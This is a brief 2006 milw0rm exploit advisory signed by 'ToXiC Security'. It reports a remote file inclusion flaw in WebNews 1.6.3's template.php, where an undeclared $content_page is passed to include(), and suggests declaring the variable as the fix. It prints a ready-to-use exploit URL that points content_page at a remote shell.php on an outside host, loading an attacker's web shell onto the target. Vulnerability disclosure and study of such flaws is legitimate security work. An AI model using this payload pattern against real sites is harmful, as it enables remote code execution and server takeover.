21 lines
No EOL
555 B
Text
21 lines
No EOL
555 B
Text
###### ToXiC #########################
|
|
#
|
|
#BuG FounD by Drago84
|
|
#
|
|
#Application Affect: WebNews
|
|
#Source Code:
|
|
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
|
|
#Problem:
|
|
# <?
|
|
# include($content_page);
|
|
# ?>
|
|
#Solution : Declare $content_page
|
|
#Page Vulnerable : template.php
|
|
|
|
# Exempe Of ExPloit is:
|
|
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
|
|
#GrEatZ All Member of ToXiC, Str0ke
|
|
# ToXic Security
|
|
###### ToXiC #########################
|
|
|
|
# milw0rm.com [2006-09-24] |